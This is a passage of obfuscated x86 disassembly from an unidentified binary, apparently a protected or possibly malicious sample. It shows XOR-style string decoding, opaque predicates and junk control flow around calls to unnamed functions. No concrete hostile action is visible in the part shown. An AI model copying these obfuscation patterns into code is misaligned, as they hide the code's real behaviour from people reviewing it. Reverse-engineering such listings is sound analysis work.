mov byte [ebp - 0x2c9], 0x2d
mov byte [ebp - 0x2c8], 0xb9
mov byte [ebp - 0x2c7], 0x3b
mov byte [ebp - 0x2c6], 0x54
mov byte [ebp - 0x2c5], 0xb3
mov byte [ebp - 0x2c4], 0x4a
mov byte [ebp - 0x2c3], 0x15
mov byte [ebp - 0x2c2], 0x44
mov byte [ebp - 0x2c1], 0x96
mov byte [ebp - 0x2c0], 0x10
mov byte [ebp - 0x2bf], 0xde
mov byte [ebp - 0x2be], 0xd2
mov byte [ebp - 0x2bd], 4
mov byte [ebp - 0x2bc], 5
mov byte [ebp - 0x2bb], 5
mov byte [ebp - 0x2ba], 5
mov byte [ebp - 0x2b9], 7
mov byte [ebp - 0x2b8], 7
mov byte [ebp - 0x2b7], 6
mov byte [ebp - 0x2b6], 0xf
mov byte [ebp - 0x2b5], 9
mov byte [ebp - 0x2b4], 9
mov byte [ebp - 0x2b3], 2
mov byte [ebp - 0x2b2], 7
mov byte [ebp - 0x2b1], 3
mov byte [ebp - 0x2b0], 5
mov byte [ebp - 0x2af], 8
mov byte [ebp - 0x2ae], 2
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x308]
or eax, 0xad
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x308]
and ecx, 0xad
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0x308]
mov byte [ebp + ecx - 0x7e8], al
mov dword [ebp - 0x4c], 2
and dword [ebp - 0x188], 0
jmp 0x1004a6c8
mov eax, dword [ebp - 0x4c]
inc eax
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0x5b
jae 0x1004a77e
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x308]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x4c], eax
jne 0x1004a712
mov eax, dword [ebp - 0x4c]
movzx eax, byte [ebp + eax - 0x308]
inc eax
mov dword [ebp - 0x188], eax
mov eax, dword [ebp - 0x4c]
movzx eax, byte [ebp + eax - 0x308]
mov ecx, dword [ebp - 0x4c]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x4c], eax
jmp 0x1004a6c0
mov eax, dword [ebp - 0x4c]
movzx eax, byte [ebp + eax - 0x307]
mov ecx, dword [ebp - 0x4c]
sub ecx, dword [ebp - 0x188]
movzx ecx, byte [ebp + ecx - 0x30a]
movsx ecx, byte [ebp + ecx - 0x7e8]
or eax, ecx
mov ecx, dword [ebp - 0x4c]
movzx ecx, byte [ebp + ecx - 0x307]
mov edx, dword [ebp - 0x4c]
sub edx, dword [ebp - 0x188]
movzx edx, byte [ebp + edx - 0x30a]
movsx edx, byte [ebp + edx - 0x7e8]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x4c]
movzx ecx, byte [ebp + ecx - 0x308]
mov byte [ebp + ecx - 0x7e8], al
and dword [ebp - 0x188], 0
jmp 0x1004a6c0
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x7e8], 0
mov dword [ebp - 0xa0], 0x182eac45
mov dword [ebp - 0x190], 0xfffffffd
push 4
lea ecx, [ebp - 0xaf8]
call fcn.1001704c
mov dword [ebp - 4], 0x12
mov dword [ebp - 0x32c], 0xfffffff8
mov dword [ebp - 0x1c0], 0x548e01af
mov dword [ebp - 0x734], 0x8b1495dd
mov dword [ebp - 0x53c], 1
mov dword [ebp - 0x878], 0xffffffff
mov dword [ebp - 0x110], 0
jmp 0x1004a7ff
mov eax, dword [ebp - 0x110]
inc eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 4
jge 0x1004a81b
mov eax, dword [ebp - 0x110]
mov dword [ebp + eax*4 - 0x9fc], 0x226
jmp 0x1004a7f2
push 0
lea eax, [ebp - 0xaf8]
push eax
push 0x61e
lea eax, [ebp - 0x110]
push eax
push 0x6d4c
call fcn.100471f1
add esp, 0x14
cmp dword [ebp - 0xa0], 0
jne 0x1004aa96
mov eax, dword [ebp - 0x1c0]
cmp dword [ebp - 0xa0], eax
je 0x1004a864
mov dword [ebp - 0x50c], 1
jmp 0x1004a86b
and dword [ebp - 0x50c], 0
mov eax, dword [ebp - 0x32c]
inc eax
mov dword [ebp - 0x32c], eax
mov eax, dword [ebp - 0x32c]
mov ecx, dword [ebp - 0xa0]
add eax, dword [ebp - 0x50c]
add ecx, eax
sub ecx, dword [ebp - 0x190]
cmp ecx, dword [ebp - 0x1c0]
jg 0x1004a8af
cmp dword [ebp - 0xa0], 0
je 0x1004a8af
mov dword [ebp - 0x72c], 1
jmp 0x1004a8b6
and dword [ebp - 0x72c], 0
mov eax, dword [ebp - 0xa0]
cmp eax, dword [ebp - 0x72c]
jne 0x1004a8d0
mov dword [ebp - 0x514], 1
jmp 0x1004a8d7
and dword [ebp - 0x514], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x514]
sub ecx, dword [ebp + eax - 0x9fc]
neg ecx
cmp ecx, 0x81f6
jl 0x1004a900
mov dword [ebp - 0x67c], 1
jmp 0x1004a907
and dword [ebp - 0x67c], 0
mov eax, dword [ebp - 0x190]
imul eax, dword [ebp - 0x67c]
add eax, 0xfffffffa
mov dword [ebp - 0x51c], eax
push 1
lea ecx, [ebp - 0xaf8]
call fcn.100170ea
mov ecx, dword [ebp - 0x51c]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa0]
cmp dword [ebp - 0x51c], eax
jl 0x1004a94c
mov dword [ebp - 0x990], 1
jmp 0x1004a953
and dword [ebp - 0x990], 0
cmp dword [ebp - 0xa0], 0x6dae
jne 0x1004a96b
mov dword [ebp - 0x788], 1
jmp 0x1004a972
and dword [ebp - 0x788], 0
cmp dword [ebp - 0x788], 1
jne 0x1004a987
mov dword [ebp - 0x524], 1
jmp 0x1004a98e
and dword [ebp - 0x524], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x9fc]
cmp dword [ebp - 0x524], eax
jl 0x1004a9af
mov dword [ebp - 0x684], 1
jmp 0x1004a9b6
and dword [ebp - 0x684], 0
mov eax, dword [ebp - 0x1c0]
cmp dword [ebp - 0x684], eax
jge 0x1004a9d0
mov dword [ebp - 0x870], 1
jmp 0x1004a9d7
and dword [ebp - 0x870], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x9fc], 0
jne 0x1004a9f7
push 0xfffffffffffffffd
pop eax
test eax, eax
jne 0x1004a9f7
and dword [ebp - 0x52c], 0
jmp 0x1004aa01
mov dword [ebp - 0x52c], 1
mov eax, dword [ebp - 0x1c0]
add eax, dword [ebp - 0x52c]
mov dword [ebp - 0x190], eax
mov eax, dword [ebp - 0x190]
mov dword [ebp - 0x734], eax
cmp dword [ebp - 0x734], 0
je 0x1004aa43
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x9fc], 0
je 0x1004aa43
mov dword [ebp - 0x534], 1
jmp 0x1004aa4a
and dword [ebp - 0x534], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x9fc]
cmp dword [ebp - 0x534], eax
jl 0x1004aa6b
mov dword [ebp - 0x68c], 1
jmp 0x1004aa72
and dword [ebp - 0x68c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x9fc]
add eax, dword [ebp - 0x68c]
mov dword [ebp - 0x53c], eax
jne 0x1004aa96
and dword [ebp - 0x950], 0
jmp 0x1004aaa0
mov dword [ebp - 0x950], 1
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0xd08], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x9fc]
mov dword [ebp - 0x878], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xaf8]
call fcn.100170ce
lea eax, [ebp - 0x7e8]
push eax
lea ecx, [ebp - 0xe28]
call fcn.10025c47
mov dword [ebp - 0x8cc], eax
mov eax, dword [ebp - 0x8cc]
mov dword [ebp - 0x880], eax
mov dword [ebp - 4], 0x13
push 0xa
xor edx, edx
mov ecx, dword [ebp - 0x880]
call fcn.1003041f
pop ecx
mov dword [ebp - 0x8a0], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe28]
call fcn.10016fae
mov dword [ebp - 0x30], 0xbb743d83
push 3
lea ecx, [ebp - 0x820]
call fcn.1001704c
mov dword [ebp - 4], 0x14
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x8ec], 1
mov dword [ebp - 0x8e4], 6
mov dword [ebp - 0x898], 0x8cb0b9d6
mov dword [ebp - 0x1e8], 0
jmp 0x1004ab77
mov eax, dword [ebp - 0x1e8]
inc eax
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 3
jge 0x1004ab99
push dword [ebp - 0x1e8]
lea ecx, [ebp - 0x820]
call fcn.100170ea
mov dword [eax], 9
jmp 0x1004ab6a
push 0x88
push 1
push 0x7fa1
call fcn.10046c14
add esp, 0xc
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xd10], eax
imul eax, dword [ebp - 0x30], 0xfff9
sub eax, 0xd39c
cmp eax, 0xf1fd
jg 0x1004abd5
mov dword [ebp - 0x7b0], 1
jmp 0x1004abdc
and dword [ebp - 0x7b0], 0
cmp dword [ebp - 0x7b0], 0
jge 0x1004abf1
mov dword [ebp - 0x544], 1
jmp 0x1004abf8
and dword [ebp - 0x544], 0
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x544]
je 0x1004ac0f
mov dword [ebp - 0x694], 1
jmp 0x1004ac16
and dword [ebp - 0x694], 0
push 1
lea ecx, [ebp - 0x820]
call fcn.100170ea
mov dword [eax], 0xc4185a1f
mov eax, dword [ebp - 0x694]
sub eax, 0x3be7a5e0
jne 0x1004ac45
cmp dword [ebp - 0x30], 0
jne 0x1004ac45
and dword [ebp - 0x54c], 0
jmp 0x1004ac4f
mov dword [ebp - 0x54c], 1
cmp dword [ebp - 0x54c], 0x3c1de6fc
je 0x1004ac79
push 1
lea ecx, [ebp - 0x820]
call fcn.100170ea
cmp dword [eax], 0
je 0x1004ac79
mov dword [ebp - 0x73c], 1
jmp 0x1004ac80
and dword [ebp - 0x73c], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x73c], eax
je 0x1004ac97
mov dword [ebp - 0x554], 1
jmp 0x1004ac9e
and dword [ebp - 0x554], 0
mov eax, dword [ebp - 0x554]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x5c], eax
jg 0x1004acbc
mov eax, 0x29478c9d
test eax, eax
je 0x1004ad77
mov dword [ebp - 0x30], 0
jmp 0x1004accc
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 2
jg 0x1004ad33
mov dword [ebp - 0x5c], 2
jmp 0x1004ace2
mov eax, dword [ebp - 0x5c]
dec eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0
jl 0x1004ad31
mov byte [ebp - 0xc1], 0
movzx eax, byte [ebp - 0xc1]
test eax, eax
je 0x1004ad0e
push 0x6a10
push 1
push 0x2240
call fcn.10046cb5
add esp, 0xc
mov byte [ebp - 0xa5], 0
movzx eax, byte [ebp - 0xa5]
test eax, eax
je 0x1004ad2f
push 0
push 0x1203
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetLBound]
jmp 0x1004acdb
jmp 0x1004acc5
mov dword [ebp - 0x5c], 0
jmp 0x1004ad43
mov eax, dword [ebp - 0x5c]
dec eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0xfffffffb
jg 0x1004ad72
mov dword [ebp - 0x8d4], 6
push 0x6e4a
push 1
lea eax, [ebp - 0x8d4]
push eax
lea eax, [ebp - 0x820]
push eax
call fcn.10046d2f
add esp, 0x10
jmp 0x1004ad3c
jmp 0x1004ae8b
mov dword [ebp - 0x69c], 0x9c90
mov dword [ebp - 0x8dc], 0x8a4198fe
mov dword [ebp - 0x890], 0
push 1
lea ecx, [ebp - 0xb10]
call fcn.1001704c
mov byte [ebp - 4], 0x15
mov dword [ebp - 0x888], 0xfffffff8
mov dword [ebp - 0x198], 0
jmp 0x1004adc9
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 1
jge 0x1004adeb
push dword [ebp - 0x198]
lea ecx, [ebp - 0xb10]
call fcn.100170ea
mov dword [eax], 1
jmp 0x1004adbc
mov dword [ebp - 0x30], 0
jmp 0x1004adfb
mov eax, dword [ebp - 0x30]
dec eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xffffffeb
jl 0x1004ae2f
mov byte [ebp - 0xb1], 0
push 0x5187
lea eax, [ebp - 0xb1]
push eax
push 1
push 0x7df9
call fcn.10046d83
add esp, 0x10
mov dword [ebp - 0x69c], 0x1a812c00
jmp 0x1004adf4
lea eax, [ebp - 0xb10]
push eax
lea eax, [ebp - 0x820]
push eax
lea eax, [ebp - 0x888]
push eax
lea eax, [ebp - 0x8dc]
push eax
lea eax, [ebp - 0x890]
push eax
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x8e4]
push eax
lea eax, [ebp - 0x898]
push eax
lea eax, [ebp - 0x8ec]
push eax
lea eax, [ebp - 0x69c]
push eax
push 1
call fcn.10046e0e
add esp, 0x2c
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0xb10]
call fcn.100170ce
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x820]
call fcn.100170ce
and dword [ebp - 0x1c8], 0
jmp 0x1004aeb0
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 0xb
jae 0x1004aec9
mov eax, dword [ebp - 0x1c8]
mov byte [ebp + eax - 0x7e8], 0
jmp 0x1004aea3
push dword [ebp - 0x8a0]
push dword [ebp - 0x8f4]
call fcn.10043d8f
pop ecx
pop ecx
mov dword [ebp - 0x55c], eax
push 2
lea ecx, [ebp - 0xc98]
call fcn.1001704c
mov dword [ebp - 4], 0x16
mov dword [ebp - 0x80], 0
jmp 0x1004af06
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 2
jge 0x1004af22
push dword [ebp - 0x80]
lea ecx, [ebp - 0xc98]
call fcn.100170ea
mov dword [eax], 0x5b57
jmp 0x1004aeff
mov dword [ebp - 0x80], 0
jmp 0x1004af32
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 1
jge 0x1004af48
mov eax, dword [ebp - 0x80]
mov dword [ebp + eax*4 - 0x1a0], 0xc184c506
jmp 0x1004af2b
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x1a0], 1
jmp 0x1004af76
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1a0]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x1a0], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1a0], 0
jl 0x1004af96
push 0
push 0x2b39
call fcn.10047d32
pop ecx
pop ecx
jmp 0x1004af5b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc98]
call fcn.100170ce
mov eax, dword [ebp - 0xec]
mov ecx, dword [ebp - 0x55c]
mov dword [eax + 8], ecx
push 0xf
push 5
call fcn.10043d8f
pop ecx
pop ecx
add eax, dword [ebp - 0x55c]
mov ecx, dword [ebp - 0x14]
mov dword [ecx + 4], eax
mov dword [ebp - 0xc8], 0xfffffffc
mov dword [ebp - 0xd0], 0x725d3672
mov dword [ebp - 0x58c], 0x691f6f49
mov dword [ebp - 0x6b4], 8
mov dword [ebp - 0x8fc], 0
mov dword [ebp - 0x8a8], 0xaca62e26
mov dword [ebp - 0xc8], 0
jmp 0x1004b020
cmp dword [ebp - 0xc8], 0xf
jl 0x1004b205
mov dword [ebp - 0x744], 0x22e6e7f7
mov dword [ebp - 0x37c], 0xffffffff
cmp dword [ebp - 0x744], 0x194
jge 0x1004b059
mov dword [ebp - 0x57c], 1
jmp 0x1004b060
and dword [ebp - 0x57c], 0
mov eax, dword [ebp - 0xd0]
mov dword [ebp - 0xd18], eax
mov eax, dword [ebp - 0xd0]
mov dword [ebp - 0xd20], eax
mov eax, dword [ebp - 0xd0]
mov dword [ebp - 0xd28], eax
mov eax, dword [ebp - 0xd0]
dec eax
jne 0x1004b09f
cmp dword [ebp - 0xd0], 0
jne 0x1004b09f
and dword [ebp - 0x758], 0
jmp 0x1004b0a9
mov dword [ebp - 0x758], 1
mov eax, dword [ebp - 0x58c]
cmp dword [ebp - 0x758], eax
je 0x1004b0c3
mov dword [ebp - 0x564], 1
jmp 0x1004b0ca
and dword [ebp - 0x564], 0
mov eax, dword [ebp - 0x37c]
cmp eax, dword [ebp - 0x564]
jge 0x1004b0ea
cmp dword [ebp - 0xc8], 0
jne 0x1004b0ea
and dword [ebp - 0x6a4], 0
jmp 0x1004b0f4
mov dword [ebp - 0x6a4], 1
cmp dword [ebp - 0x6a4], 0x40a9
jne 0x1004b10c
mov dword [ebp - 0x56c], 1
jmp 0x1004b113
and dword [ebp - 0x56c], 0
mov eax, dword [ebp - 0x37c]
cmp dword [ebp - 0x56c], eax
jle 0x1004b12d
mov dword [ebp - 0x574], 1
jmp 0x1004b134
and dword [ebp - 0x574], 0
mov eax, dword [ebp - 0x744]
cmp dword [ebp - 0x574], eax
jne 0x1004b14e
mov dword [ebp - 0x6ac], 1
jmp 0x1004b155
and dword [ebp - 0x6ac], 0
mov eax, dword [ebp - 0xc8]
cmp eax, dword [ebp - 0x6ac]
jge 0x1004b178
mov eax, 0xee9
test eax, eax
je 0x1004b178
and dword [ebp - 0x75c], 0
mov eax, dword [ebp - 0x57c]
cmp eax, dword [ebp - 0x75c]
jge 0x1004b199
lea eax, [ebp - 0x6b4]
push eax
push 1
lea eax, [ebp - 0x8a8]
push eax
lea eax, [ebp - 0xc8]
push eax
lea eax, [ebp - 0x58c]
push eax
lea eax, [ebp - 0xd0]
push eax
lea eax, [ebp - 0x8fc]
push eax
call fcn.10046ff2
add esp, 0x1c
and dword [ebp - 0x12c], 0
mov dword [ebp - 0x8b8], 0xfffffff8
mov dword [ebp - 0x90c], 6
mov dword [ebp - 0x594], 6
mov dword [ebp - 0x904], 0
mov dword [ebp - 0xca4], 0x7104
mov dword [ebp - 0x334], 0x64ba
mov dword [ebp - 0x1e0], 0
jmp 0x1004b295
mov eax, dword [ebp - 0x1e0]
inc eax
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 1
jge 0x1004b2b1
mov eax, dword [ebp - 0x1e0]
mov dword [ebp + eax*4 - 0x8b0], 0
jmp 0x1004b288
mov eax, dword [ebp - 0x334]
dec eax
mov dword [ebp - 0x334], eax
mov eax, dword [ebp - 0x334]
sub eax, 0x5ab06c0e
jne 0x1004b2dc
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x8b0], 0x5b641b44
cmp dword [ebp - 0x904], 0xf050678e
ja 0x1004b2f4
mov dword [ebp - 0x74c], 1
jmp 0x1004b2fb
and dword [ebp - 0x74c], 0
mov eax, dword [ebp - 0x74c]
mov dword [ebp - 0x594], eax
cmp dword [ebp - 0x594], 0
je 0x1004b325
mov eax, 0x283bc1b0
test eax, eax
je 0x1004b325
mov dword [ebp - 0x6bc], 1
jmp 0x1004b32c
and dword [ebp - 0x6bc], 0
mov eax, dword [ebp - 0x8b8]
cmp dword [ebp - 0x6bc], eax
jl 0x1004b346
mov dword [ebp - 0x59c], 1
jmp 0x1004b34d
and dword [ebp - 0x59c], 0
mov eax, dword [ebp - 0x59c]
mov dword [ebp - 0x90c], eax
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0x18], 0
jbe 0x1004b37c
lea eax, [ebp - 0x14]
push eax
push 0x37d
push 0
lea eax, [ebp - 0x12c]
push eax
call fcn.100474f2
add esp, 0x10
push 1
lea ecx, [ebp - 0x99c]
call fcn.1001704c
mov dword [ebp - 4], 0x17
mov dword [ebp - 0xc24], 3
push 0x2a5a
lea eax, [ebp - 0x114]
push eax
push 0
lea eax, [ebp - 0x99c]
push eax
call fcn.10047619
add esp, 0x10
mov dword [ebp - 0x114], 0
jmp 0x1004b3d0
cmp dword [ebp - 0x114], 3
jge 0x1004b3ec
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x86c], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x874], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x87c], eax
mov eax, dword [ebp - 0x86c]
mov dword [ebp - 0x894], eax
mov eax, dword [ebp - 0x874]
mov dword [ebp - 0x88c], eax
mov eax, dword [ebp - 0x87c]
mov dword [ebp - 0x884], eax
push 2
mov ecx, dword [ebp - 0x884]
call fcn.100170ea
push dword [eax]
mov ecx, dword [ebp - 0x88c]
call fcn.100170ea
mov dword [eax], 0x4f147909
xor eax, eax
cmp eax, 0x4f147909
jl 0x1004e174
mov dword [ebp - 0x728], 1
jmp 0x1004e17b
and dword [ebp - 0x728], 0
push 2
mov ecx, dword [ebp - 0x894]
call fcn.100170ea
mov ecx, dword [ebp - 0x728]
mov dword [eax], ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret